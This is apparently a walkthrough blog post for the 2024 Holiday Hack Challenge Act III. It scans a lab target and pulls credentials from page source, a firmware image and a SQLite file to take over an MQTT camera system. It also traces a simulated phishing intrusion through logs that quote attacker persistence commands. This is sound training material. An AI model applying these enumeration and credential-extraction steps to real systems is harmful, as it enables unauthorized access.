2024 Holiday Hack Challenge - Act III
The conclusive Act to the 2024 Holiday Hack Challenge! Hack Web Apps, Analyze Log Files, and Analyze/Deactivate Ransomware!
We continue with the holiday season's best Cyber Range/CTF - Holiday Hack - walking through the solutions for the final act of the 2024 HHC. If you need solutions for the earlier challenges, or an overview of what HHC is - see the links below.
We'll pick up where we left off at the conclusion of Act II.
Introduction
Navigating to the Story tab in your avatar's toolbar, the Act III section appears.
Now Wombley's gone and gotten the Naughty-Nice list ransomwared! Santa is not pleased...
The same landscape as Act II appears, but instead with Santa. He's not big-D Disgruntled, but he is a bit disgruntled. Talk to Santa to find out why, and have the new objectives appear.
Objective Overviews
Act III includes another 4 objectives. Only two of the objectives - SantaVision and ElfStack - have two difficulty levels per objective. The last two - Decrypting the Naughty/Nice List and Deactivating the Frostbit Ransomware only have a gold level - and for good reason. These were two of the toughest objectives of the entire HHC. However, they were also two of the most rewarding.
- SantaVision - attempt to break into the video monitoring system of the North Pole! Conduct some web application penetration testing, and learn about the MQTT service.
- ElfStack - help the blue team and investigate the history of what happened on Santa's network that led to the propagation of some malware - Frostbit. See who phished, was phished, using the Elastic Stack or some command line magic.
- Decrypt the Naughty/Nice List - Analyze artifacts taken by the blue team to understand the functionality of the ransomware. Identify misconfigurations of the ransomware infrastructure which allow for a better understanding of the ransomware. Find a vulnerability in the library used by the ransomware, and use it to extract key information. Use the information to piece together how to decrypt the naughty/nice list and save Christmas!
- Deactivate Frostbit Ransomware - Use intel from the decryption objective to identify a database injection vulnerability to enumerate the database and find the API key needed to deactivate the ransomware.
Map Layout - UPDATE
The map for Act III is above, with the following locations for each objective. Both the decrypt and deactivate objectives can be solved using the same artifacts generated at the one Raspberry Pi.
The Toilet Tunnel Network (TTN) can be leveraged to navigate from each side of the map, as well as the DMZ, much like in Act II. Click on one of the markers with a green down arrow to teleport to the location.
Objective: SantaVision
Talk to Ribb Bonbowford in the DMZ to understand the objective. The SBN (Santa Broadcast Network) has been hijacked, and used to spread propaganda. You're instructed to spin up your own SBN, then scan for listening services, and make a key change to the configuration to remove the ability for a malicious user to have administrative privileges.
This is an objective which requires providing the answers into the Objectives toolbar. The questions for both Silver and Gold are identical. However, the answers depend on the relatively complexity/effort that is required to discover the answer.
Silver Walkthrough
Click on the Raspberry Pi to open the Santa Vision website. Once the page loads, click on the festive gator in the Santa Hat. Click Time Travel to launch your instance. It'll take a few minutes to spin up. You'll know the infrastructure has been setup when the console displays: [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck!!
.
Keep in mind, there is only 1 target host/IP address for the challenge, and spawned for 2 hours. If differing IP address are provided below in screenshots/code blocks, it is indicative of needing to respawn the infrastructure multiple times over the course of solving the challenge.
Scan for Services, Kinda...
Use nmap
to enumerate for open services. I actually struggled a bit with the instance to completed an accurate port scan. The ethos of the challenge was intended to have you enumerate to find two main services: the web service (HTTP), and the MQTT service. The former was eluded to in the hints provided in the game, while the latter was explicitly mentioned.
Focusing on first the HTTP service, a standard nmap
scan should work, so long as the top 1000 ports are enumerated (nmap
default). Others who I talked to mentioned this scan worked for them, and they actually exclusively got a list of ports which were in fact open/closed.
sudo nmap -Pn -n 34.121.55.117 -sS -oA santavision
My scan return 180 ports that were open, and reading the log output (hitting v
while the scan was running) showed a significant number of successive ports open, indicating false positives. My hunch is that it was more a glitch in the matrix than any other scan type remediating the false positive rate, as I got similar results with different scans. So...
... Moreso Eliminating False Positives
In order to identify the HTTP that might in fact be open, I used a little bit of command line kung fu, and the output from the nmap scan.
for port in $(grep 'http' santavision.nmap | cut -d '/' -f 1); do curl http://34.121.55.117:$port 2>/dev/null && echo "\n Successfull connection on port: " $port ; done;
The command extracted all of the ports expected to be of HTTP(S) from the nmap
scan, and extracting the [Port#]/tcp http...
output from the scan results. After which, attempted to curl
the target system, hiding any STDERR (2>/dev/null
). Only if the curl
command was successful did it then output the port number( && echo...
). The successful port was on 8000
.
The truncated output is displayed below - which in fact provides the answer to Question A, but we'll revisit.
<div class="footer" id="footer">
<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.<br>(<i>topic 'sitestatus'</i> available.)</b>
</div> <!-- mqtt: elfanon:elfanon -->
</div>
</div>
<!-- scripts -->
<script src="https://code.jquery.com/jquery-3.6.1.min.js" type="text/javascript"></script>
<!-- JavaScript Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/js/bootstrap.bundle.min.js" integrity="sha384-A3rJD856KowSb7dwlZdYEkO39Gagi7vIsF0jrRAoQmDKKtQBHUuLZ9AsSv4jD4Xa" crossorigin="anonymous"></script>
</body>
</html>
Successfull connection on port: 8000
Valid Open Ports
I found a valid port scan from a friend who was kind enough to share from a non-janky (technical term) infrastructure instance.
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
1883/tcp open mqtt
8000/tcp open http-alt
8080/tcp open http-proxy
9001/tcp open tor-orport
Note the Port 8000 we previously identified, as well as 9001 which we'll address shortly.
Enumerating the Website
Visiting the web page in a browser, http://34.30.201.4:8000
, displays a logon screen for SantaVision. Inspecting the page source, beneath the login form, appear to be credentials given the syntax of username:password
of elfanon:elfanon
- with a note preceding of "MQTT". Attempting to login to the web portal with those credentials succeeds!
Santa Vision A - Answer
What Username logs you into the SantaVision portal?
Answer: elfanon
Side Quest - MQTT Crash Course
Since this objective requires an understanding of the MQTT service, let's briefly discuss its components and functionality. The service consists of a message broker, and clients. The broker receives the messages from the clients, and routs the messages to the appropriate destination clients. A Client is anything that runs a MQTT library, and connects to a MQTT broker over a network.
Information is organized in a hierarchy of topics. For a publisher to send a new item of data to distribute, it sends a control message which the data to the connected broker. The Broker then distributes the information to any clients subscribed to the topic.
A cursory google search, displays the MQTT service runs on port 1883. The hints also provide the Wiki page, which can give a brief overview of the service. Also note the preceding line - Line 72 - which states there's a topic of sitestatus
, which will come in handy later.
Connecting to MQTT using MQTTX
The game provides a hint of using MQTTX to interact with the service. An alternative command line tool, mosquitto. Neither is not required to solve the Silver objectives. However, we'll briefly cover the MQTTX tool while we're on the topic of the service itself. Download and launch the application. Create a new connection.
- Name your connection, this is less relevant, but it does have to be unique. I'd recommend something of the combination of the user and service.
- Provide the IP Address, for the service - the same as the website. Keeping the default port number the same.
- Provide the
elfanon:elfanon
credentials in the Username and Password fields.
After entering the proper values, click Connect, to connect to the MQTT broker. We successfully authenticate.
Adding a Topic/Subscription in MQTTX
Once authenticated to the service, there is a + New Subscription button. Click on the button, There should be a Topic field to fill out. If using the topic found earlier, enter the value sitestatus
, as an example. Leave all the other values different, with the exception of changing the color, which might come in use if you subscribe to multiple topics. Once a topic is subscribed, to stop receiving messages, right click on the topic and select Disable.
Back to our regularly scheduled programming of enumerating the SantaVision web application!
Enumerating the SantaVision Web Console
After logging in as elfanon:elfanon
, four (virtual) monitors are visible, displaying a "No Feed" status, along with forms to interact with the monitors and feeds, and to read messages.
Below the messages are two buttons. Click on List Available Clients. Three "clients" appear, which also appear to look like usernames. Two of the three clients are the [Firstname][LastInitial]
syntax of two of our characters from the game.
List the available roles by clicking the List Available Roles button. Note the 4 roles provided. Given that the first username/password provided was left in plain sight, we can attempt to power on the monitors, using the elfmonitor
username, and attempting each role as a password.
Entering the credentials, plus the IP Address of the server, and specifying port 9001
as the Camera Feed Port. We chose 9001 from reviewing the port scan, and eliminating the most common ports/services.
Enumerating the Camera Feed Port without Nmap
Had we not received the accurate nmap
scan from earlier, there was an alternative method of enumerating the port 9001 from the application. After authenticating to SantaVision, and inspecting the web page source, there is this line on the camera feeds page:
<script type="text/javascript" src="/static/js/mqttJS.js"></script>
Navigating to that URI in the browser reveals the JavaScript for the application. Within the MQTTconnect()
function is a comment with the port number, 9001.
Power On Monitors
Entering the values of: elfmonitor
, SiteElfMonitorRole
, [IP of SantaVision App]
, and 9001
into the corresponding fields, and clicking Power On Monitors. The application validates a successful authentication - Monitors on. Connect to broadcast feed.
.
In the Broadcast feed section, enter northpolefeeds
and click Connect to broadcast feed. It displays the pictures that are being streamed to the broadcast.
I only was able to successfully authenticate using Chrome. Others I spoke with mentioned success using Firefox, and even Brave. However, just remember a good rule of thumb is if you reach a dead end, try a different tool in the toolbox to see if you get a different result.
Santa Vision B - Answer
Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the northpolefeeds
on the monitors. What username worked here?
Answer: elfmonitor
Enumerating the SantaVision Feeds
Now that we have established connection to the cameras, we'll enumerate the various feeds available. While it's a slight detour from answering the questions, it will help provide more valuable information used in other components of solving the challenges that will be easier to reference.
The feeds could be viewed either through the SantaVision console, typing in the feed value in the Broadcast Feed and clicking Connect to Broadcast feed. Alternatively, and as shown below, the feeds could also be enumerated using MQTTX. Using the MQTTX/mosquitto, makes it easier to reference the history of messages.
There are two feeds which are given in the questions provided by the HHC themselves - northpolefeeds
and frostbitfeed
. As previously mentioned, the sitestatus
feed was also available on the SantaVision login page. There is 1 additional feed, santafeed
which is found as referenced within a message in the frostbitfeed
.
frostbitfeed
Messages of Interest
As question C states, subscribe to frostbitfeed
and view the messages. Within the feed there is a message that mentions the elves' secret operation.
Santa Vision C - Answer
Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed
MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
Answer: Idemcerybu
Revisiting the santafeed
As mentioned previously there was a reference to a santafeed
inside the frostbitfeed
. Subscribing to this feed reaffirms information provided earlier, such as Alabaster and Wombley as having administrative privileges, Santa as a "super administrator".
Periodically, the feed updates that Santa is "checking his list", a presumptive eluding to refreshing or validating changes to permissions. The question mentions a "single MQTT message" to demote both Wombley and Alabaster from their administrative role. Interestingly enough, there's a message that would seem to help for that, which indicates that singleAdminMode
is deactivated.
As authenticated to the SantaVision web console as elfanon
, and connected to the camera feeds as elfmonitor
, publish a message of singleAdminMode=true
to the santafeed
.
See the message: Publish Result: Publish Attempted. Watch monitors.
. Assuming you were previously still subscribed to the northpolefeeds
Broadcast feed, the pictures on the screen will begin to change to a jolly Santa, hopping on a contraption which is the answer to Question D.
Santa Vision D - Answer
There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds
feed. What type of contraption do you see Santa on?
Answer: pogo stick
Gold Walkthrough
In order to solve gold, repeat the same questions answered for silver. However, each answer has a different method for discovering a different answer to the question. None of the credentials identified in Silver will be able to answer any of the questions in Gold.
Downloading applicationDefault.bin
To begin with gold, we'll refer to the one of the messages in the sitestatus
topic- viewed either in the SantaVision app, or in MQTTX as below:
The message: File downloaded: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
. The directory structure is a common publicly accessible share. Attempt to navigate to the URL (http://[yourIPAddressHere]:8000/static/sv-application-2024-SuperTopSecret9265193/applicationDefault.bin
). The file will automatically queue to download.
Inspect the file, to see it is a jjffs2 filesystem.
file applicationDefault.bin
applicationDefault.bin: Linux jffs2 filesystem data little endian
Take the applicationDefault.bin
file, and use jefferson to disassemble the filesystem into distinct files.
❯ jefferson applicationDefault.bin -d application
dumping fs to CTFs/HHC2024/santavision/application (endianness: <)
Jffs2_raw_inode count: 47
Jffs2_raw_dirent count: 47
writing S_ISREG .bashrc
writing S_ISREG .profile
<-truncated for brevity -- >
Inspecting the Files
Looking at the files within the directory yield some interesting credentials. It can also provide more insight to the overall functionality of the MQTT app. However, that's outside the scope of this walkthrough.
Within the views.py
file, are credentials for SantaBrokerAdmin
. As covered earlier, in regards to MQTT terminology, we can figure that a Broker admin account would have administrative access to all feeds of the service. This is in fact true, and an alternative method of finding all the messages for all feeds (by subscribing to a feed/topic of: #
). However, as we previously solved Silver, and enumerated the other feeds already, this is less pertinent information.
Additionally in the views.py
file is a reference to a SQLite database, which appears to be located within a special subdirectory of /static
.
Attempting to access the file directly, queues the file for download.
❯ sqlite3 SantasTopSecretDB-2024-Z.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> help
...> ;
Parse error: near "help": syntax error
help ;
^--- error here
sqlite> select * from users;
1|santaSiteAdmin|S4n+4sr3411yC00Lp455wd|2024-01-23 06:05:29.466071|1
Use these credentials, and log into the SantaVision web application, being sure to use a case-sensitive username.
Santa Vision A - Answer
What Username logs you into the SantaVision portal?
Answer: santaSiteAdmin
Enumerating the SantaVision Console
Prior to authenticating with the new found credentials, open up a proxy such as BurpSuite or ZAP to inspect the traffic. Alternatively, open Developer Tools in your browser, and navigate to the Network tab.
Login with the santaSiteAdmin
credentials, being mindful that the username is oddly case sensitive. View the requests/responses after login. Within the headers of one of the server responses are credentials as values of the headers BrkrUser
and BrkrPswd
.
Note that this password changes with each subsequent login/logout of the santaSiteAdmin
user. This was also evident in the python code statically analyzed earlier.
Santa Vision B - Answer
Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the northpolefeeds
on the monitors. What username worked here?
Answer: santashelper2024
Revisiting the Elves' Secret operation
Previously, the answer for Silver C was Idemcerybu
. Solving for Gold, doesn't involve interacting more with the application or services. Instead, reflecting on the previous answer - it's a bit odd for an operation name. Since it was a message transmitted on a feed that the elves knew others had access to, it's obfuscated. Use something such as a Caesar cipher, or ROT substitution cipher - and play around with different values for the shift number. Eventually, shifting +10, or ROT10, displays the decoded answer.
Santa Vision C - Answer
Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed
MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
Answer: snowmobile
Demoting Alabaster & Wombley with MQTT
The solution to answer D requires completing the next steps either using MQTT or mosquitto. Trying to do so using any of the accounts identified during gold within the SantaVision app will return a message of: Publish Result: Publishing to this feed using this HTML form is not permitted
.
Login to the MQTT server using MQTTX, and the santashelper2024
credentials identified to answer question B. We'll skip the enumeration steps we've conducted in the Silver objective, and assume we understand the task at hand. As a quick refresher for Silver, we sent a message to the santafeed
Broadcast topic, using the SantaVision feed, of singleAdminMode=True
.
Repeat those steps, but instead using MQTTX - using a JSON syntax to submit the message.
If the message is properly sent, and you are subscribed to the santafeed
topic, the server will respond with an identical message, like below:
Go back to your browser and view the SantaVision application. Assuming you are connected to the northpolefeeds
, view the fancy contraption that Santa is riding!
Santa Vision D - Answer
There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the northpolefeeds
feed. What type of contraption do you see Santa on?
Answer: hover craft
Objective Solved
GLORYYY!!! Both the silver and gold objectives have been successfully solved. Malicious messages have stopped being sent across the airwaves. Along the way we learned about the MQTT service, and how to enumerate a custom built web application to gain unauthorized access. Additionally, we completed manual code review of a jjeffs2 filesystem for secrets.
Objective Takeaways
The SantaVision objective covered a lot! From web applicaton penetration testing and static code analysis, to understanding the MQTT service. We analyzed the web app to identify how the services were being abused, finding important files within the MQTT service, which were analyzed using jefferson. Finally, we sent messages within the web app and MQTT service to diffuse the situation and restore the proper permissions of users.
Objective: ElfStack
Before talking to to Fitzy Shortstack, chat with Alabaster, who will provide a handful of hints for the solution. After talking to Fitzy, click on the Raspberry Pi to load the game.
Environment Setup
Since this is an ELK Stack challenge, the challenge developers created a Docker container to run all of the files. They provide some handy instructions here to follow. The instructions include the prerequisites, including installing Docker, as well as the ELK Stack setup. After running docker compose up setup
and docker compose up
, wait for the login URL and credentials to be displayed.
If you don't get the output above after running docker compose up
, be sure you previously ran docker compose up setup
. Connecting to the URL and authenticating with the credentials. Click the Hamburger Button, and select Discover.
Adjust the filter to only look at 2024 data. The filter will automatically be applied. You can close the filter by clicking elsewhere within the screen.
For this objective, we'll use the same Q&A Syntax as similar objectives in the past.
Elf Stack - Silver Walkthrough
Close the "Quick Instructions." Click on Easy Mode and select Start Challenge.
Question 1: How many unique values are there for the event_source
field in all logs?
ES|QL: from logs-generic-default| STATS COUNT_DISTINCT(event_source)
Answer: 5
Question 2: Which event_source
has the fewest number of events related to it?
ES|QL: from logs-generic-default | STATS count = COUNT(event_source) BY event_source | sort count ASC
Answer: AuthLog
Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
Elf Stack: event_source: "AuthLog"
- review the results, and find the answer.
Answer: event.hostname
Question 4: Which event_source has the second highest number of events related to it?
Use the same query as for Question 2.
Answer: NetflowPmacct
Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs
Elf Stack: event_source: "NetflowPmacct"
. Filter the results in the lefthand column, looking for port
to find the answer.
Answer: event.port_dst
Question 6: Which event_source is related to email traffic?
Reuse the same ES|QL query from questions 2 and 4. One of them has "Mail" in the name.
Answer: SnowGlowMailPxy
Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
Elf Stack: event_source:"SnowGlowMailPxy"
Analyze one of the documents/records using the Elf Stack interface, expanding one of the rows in the Document column.
Answer: event.Body
Question 8: Using the 'GreenCoat' event_source, what is the only value in the hostname field?
Elf Stack: event_source:"GreenCoat"
Continue to investigate records, this time within the GreenCoat event source
Answer: SecureElfGwy
Question 9: Using the 'GreenCoat' event_source, what is the name of the field that contains the site visited by a client in the network?
Answer: event.url
Question 10: Using the 'GreenCoat' event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?
ES|QL: from logs-generic-default | WHERE event_source == "GreenCoat" | STATS count = count(hostname) by event.url | sort count desc
Answer: pagead2.googlesyndication.com:443
Question 11: Using the 'WindowsEvent' event_source, how many unique Channels is the SIEM receiving Windows event logs from?
ES|QL: from logs-generic-default | WHERE event_source == "WindowsEvent" | STATS COUNT_DISTINCT(event.Channel)
Answer: 5
Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?
ES|QL: from logs-generic-default | WHERE event_source == "WindowsEvent" | stats count = count(event.Channel) by event.Channel | sort count desc
Answer: Microsoft-Windows-Sysmon/Operational
Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
Found from this article or this article... basically any google search for "sysmon eventid windows".
Answer: 6
Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?
Source: Microsoft Documentation
Answer: 4697
Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
Elf Stack: event_source:"WindowsEvent" and event.EventID: 4720
ES|QL: from logs-generic-default | WHERE event_source == "WindowsEvent" and event.EventID == 4720
Answer: 0
Gold Walkthrough
Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?
Resource: Ultimate IT Windows Security
Answer: 1
Question 2: How many unique values are there for the 'event_source' field in all of the logs?
Same as question 1 from Silver.
Answer: 5
Question 3: What is the event_source name that contains the email logs?
Same as Question 6 from Silver.
Answer: SnowGlowMailPxy
Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event 'From:' field for this email log event.
Look at the Proxy logs, and focus on two values, event.ReceivedIP1
and event.ReceivedIP2
. Digging through the data in Elf Stack, it appears ReceivedIP1
is uniform, and the predominant entry in ReceivedIP2
is 172.24.25.20
. Filter out that IP, and return the event.From
field, to get the answer.
Answer: kriskring1e@northpole.local
Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.
Take the previous query and display used to answer Question 4, and add the event.To
to the selected fields, which displays the e-mail was sent to elf_user02
. Use that account to filter the GreenCoat
data as the event.user_identifier
, looking for the event.host
value.
Answer: SleighRider
Question 6: What was the IP address of the system you found in the previous question?
Using the same results from the previous question, add the event.ip
field to the display.
Answer: 172.24.25.12
Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?
Going back to that e-mail we looked at, there was a url in the event.Body
of:
We need to store the updated naughty and nice list somewhere secure. I posted it here http://hollyhaven.snowflake/howtosavexmas.zip. Act quickly so I can remove the link from the internet! I encrypted it with the password: n&nli$t_finAl1
thx!
kris
- Sent from the sleigh. Please excuse any Ho Ho Ho's.
Look for the URL in the GreenCoat
logs using ES|QL:
FROM .ds-logs-* | where event_source == "GreenCoat" and event.url LIKE "*hollyhaven.snowflake*"
Not going to lie, this is where things got shaky for me. I thought you would want to look for the howtosavexmas
file unzipped, which showed a howtosavexmas.pdf.exe
in the WindowsEvent
logs. Since the question involved "process creation" I thought the EventID of interest would be 4668, but in fact, it was 4663. I also struggled with finding the entry within Elastic. I had to resort to digging through the raw, log_chunk_1.log
and log_chunk_2.log
files.
grep 'WindowsEvent' log_chunk_*log | grep 'pdf.exe' | grep "2024-09-16 10:45:48"
log_chunk_2.log:<134>1 2024-09-16T10:45:48-04:00 SleighRider.northpole.local WindowsEvent - - - {"EventTime": "2024-09-16 10:45:48", "Hostname": "SleighRider.northpole.local", "Keywords": -9223372036854775808, "EventType": "AUDIT_SUCCESS", "SeverityValue": 4, "Severity": "INFO", "EventID": 4663, "SourceName": "Microsoft-Windows-Security-Auditing", "ProviderGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "Version": 1, "Task": 12800, "OpcodeValue": 0, "RecordNumber": 123456, "ProcessID": 10014, "ThreadID": 6340, "Channel": "Security", "Domain": "NT AUTHORITY", "AccountName": "SYSTEM", "UserID": "S-1-5-18", "AccountType": "User", "Category": "Object Access", "Opcode": "Info", "UtcTime": "2024-09-16T10:45:48-04:00", "ProcessGuid": "{face0b26-426e-660c-eb0f-000000000700}", "ProcessName": "C:\\Users\\elf_user02\\Downloads\\howtosavexmas\\howtosavexmas.pdf.exe", "ObjectServer": "Security", "ObjectType": "File", "ObjectName": "C:\\Users\\elf_user02\\Desktop\\kkringl315@10.12.25.24.pem", "HandleID": "0x3fc", "Accesses": "READ_CONTROL,SYNCHRONIZE,ReadData", "AccessMask": "0x120089", "EventReceivedTime": "2024-09-16T10:45:48-04:00", "SourceModuleName": "inSecurity", "SourceModuleType": "im_msvistalog"}
Answer: 10014
Question 8: Did the attacker's payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection
I ran into issues filtering the data - whether it was Kibana, or through grep
ping through the log files. Guessed and got it right. It's a common alternative port for outbound web connections.
Answer:8443
Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.
Another brute forced one. The question nudges you to look in the WindowsEvent
logs. If you attempt to look for Event ID of 17, it's a rabbit hole. Instead, I grep
ped through the log files, looking for logs with pipe
in the entry. From there I started to remove (grep -v
) entries I knew weren't applicable. An important bit to know for this, is that a subset of IPCs are known as "named pipes" - hence the searching for the phrase. The Windows Event Log of 17 is "Pipe connected", and the log entry even had a PipeName
value.
Using a command like such:
grep 'WindowsEvent' log_chunk_*log | grep -v 'Pipeline' | grep -v 'CreatePipeInstance' | grep -v 'Pipe Connected' | grep -v 'Pipe Created' | grep -i pipe
You could begin to see a pattern of a named pipes. The string after the \\pipe\\
is the answer.
grep 'WindowsEvent' log_chunk_*log | grep -v 'Pipeline' | grep -v 'CreatePipeInstance' | grep -v 'Pipe Connected' | grep -v 'Pipe Created' | grep -i pipe | cut -d '-' -f 7- | jq -c '. |{EventTime, Hostname, CommandLine} | select (.Hostname == "SleighRider.northpole.local")'
<Truncated for Brevity>
{"EventTime":"2024-09-15 10:38:22","Hostname":"SleighRider.northpole.local","CommandLine":"cmd.exe /c echo ddpvccdbr > \\\\.\\pipe\\ddpvccdbr"}
< Truncated for Brevity>
Answer: ddpvccdbr
Question 10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's process.
At this point, I'm assuming you're following along to get the answers just to flow through. Fair enough. I'm not extracting much value out of this challenge in order to communicate it's intention. I took the Process ID, discovered in a previous question, and the hostname, and saved it to a file. then grepped through to look at some of the logs.
# Create File to Enumerate
grep 10014 log*.log | grep -i sleighrider > 10014.txt
# Log Entry of Interest
cat 10014.txt| grep 'tmp' | cut -d '-' -f 7- | jq .
Reverse engineering the thought process though, a Sysmon eventID of 11 occured at 10:36:44 AM, on the file...
Answer: C:\Users\elf_user02\Downloads\a9354673-3659-43e9-9842-2bde2c2e044a.tmp
Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?
Look at the AuthLogs, there is only one hostname mentioned in all of the logs.
cat AuthLog.txt| cut -d '-' -f 7- | jq -r '.hostname' | sort | uniq
Answer: kringleSSleigH
Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?
Focusing again by grep
ing the logs, only for case insensitive kringlessleigh
and saving it to a file. Enumerate the file, focusing on the message
value. There is some activity around a user being added to groups, and their user information changing. Looks fishy...
cat kringlessleigh.txt| cut -d '-' -f 7- | jq -r '.message' | sort | uniq | grep -v 'logged out' | grep -v 'Failed' | grep -v 'Received disconnect' | grep -v 'Connection from'
Accepted key RSA SHA256:AbfXsQOO05qHNT98Rhe1B7KzURo0viFfq2/gpAWlP7E found at /home/kkringl315/.ssh/authorized_keys:1
Accepted publickey for kkringl315 from 34.30.110.62 port 41606 ssh2: RSA SHA256:AbfXsQOO05qHNT98Rhe1B7KzURo0viFfq2/gpAWlP7E
Accepted publickey for kkringl315 from 34.30.110.62 port 48202 ssh2: RSA SHA256:AbfXsQOO05qHNT98Rhe1B7KzURo0viFfq2/gpAWlP7E
Accepted publickey for kkringl315 from 34.30.110.62 port 58634 ssh2: RSA SHA256:AbfXsQOO05qHNT98Rhe1B7KzURo0viFfq2/gpAWlP7E
add 'ssdh' to group 'sudo'
add 'ssdh' to shadow group 'sudo'
changed user 'ssdh' information
<Truncated for brevity>
Answer: ssdh
Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?
We can modify our last command, this time looking at just the log message, since they appear to be logged sequentially.
cat kringlessleigh.txt| cut -d '-' -f 7- | jq -r '.message'
<Truncated for Brevity>
kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; COMMAND=/usr/sbin/adduser ssdh
pam_unix(sudo:session): session opened for user root(uid=0) by kkringl315(uid=1000)
group added to /etc/group: name=ssdh, GID=1002
group added to /etc/gshadow: name=ssdh
new group: name=ssdh, GID=1002
new user: name=ssdh, UID=1002, GID=1002, home=/home/ssdh, shell=/bin/bash, from=/dev/pts/6
pam_unix(passwd:chauthtok): password changed for ssdh
gkr-pam: couldn't update the login keyring password: no old password was entered
changed user 'ssdh' information
members of group users set by root to kkringl315,pmacct,ssdh
pam_unix(sudo:session): session closed for user root
kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; COMMAND=/usr/sbin/usermod -a -G sudo ssdh
<Truncated for Brevity>
Answer: /usr/sbin/usermod -a -G sudo ssdh
Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.
Look for LDAP authentication with an EventID of 2889. The query below could be adapted to ES|QL rather easily following the syntax used from previous answers.
cat log*.log | grep 'WindowsEvent' | cut -d '-' -f 7- | jq -c '. | select (.EventID == 2889)| {Date}' | head -1
{"Date":"2024-09-16T11:10:12-04:00"}
Answer: 2024-09-16T11:10:12-04:00`
Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.
The terms to search for are within the question itself.
cat log*.log | grep -i 'certificate' | grep -i request | grep -i deni
<134>1 2024-09-16T11:14:12-04:00 dc01.northpole.local WindowsEvent - - - {"LogName": "Security", "Source": "Microsoft-Windows-Security-Auditing", "Date": "2024-09-16T11:14:12-04:00", "EventID": 4888, "Category": "Certification Services - Certificate Request Denied", "Level": "Information", "Keywords": "Audit Failure", "User": "N/A", "Computer": "dc01.northpole.local", "Description": "A certificate request was made for a certificate template, but the request was denied because it did not meet the criteria.", "UserInformation_UserName": "elf_user@northpole.local", "CertificateInformation_CertificateAuthority": "elf-dc01-SeaA", "CertificateInformation_RequestedTemplate": "Administrator", "ReasonForRejection": "KringleGuard EDR flagged the certificate request.", "AdditionalInformation_RequesterComputer": "10.12.25.24", "AdditionalInformation_RequestedUPN": "administrator@northpole.local"}
If that's too verbose, extract the ReasonForRejection
.
cat log*.log | grep -i 'certificate request denied' | cut -d '-' -f 7- | jq '.ReasonForRejection'
"KringleGuard EDR flagged the certificate request."
Answer: Kringleguard
Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?
Using the log syntax from the previous command, look for Certification Services
, which will return the previous log, as well as the Certificate Issuance
(second log entry).
cat log*.log | grep -i 'Certification Services'
<Truncated for Brevity>
<134>1 2024-09-16T11:15:12-04:00 dc01.northpole.local WindowsEvent - - - {"LogName": "Security", "Source": "Microsoft-Windows-Security-Auditing", "Date": "2024-09-16T11:15:12-04:00", "EventID": 4886, "Category": "Certification Services - Certificate Issuance", "Level": "Information", "Keywords": "Audit Success", "User": "N/A", "Computer": "dc01.northpole.local", "Description": "A certificate was issued to a user.", "UserInformation_UserName": "elf_user@northpole.local", "UserInformation_UPN": "nutcrakr@northpole.local", "CertificateInformation_CertificateAuthority": "elf-dc01-SeaA", "CertificateInformation_CertificateTemplate": "ElfUsers", "AdditionalInformation_RequesterComputer": "10.12.25.24", "AdditionalInformation_CallerComputer": "172.24.25.153"}
< Truncated for Brevity>
Extract the UPN, either manually, or using jq
.
cat log*.log | grep -i 'Certification Services' | cut -d '-' -f 7- | jq -r '.UserInformation_UPN'
nutcrakr@northpole.local
Answer: nutcrakr
Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.
Accessing a network share aligns with EventID 5140. Look for the first entry pertaining to the nutcrackr
user, with that EventID. The Folder/Share Name is listed multiple times.
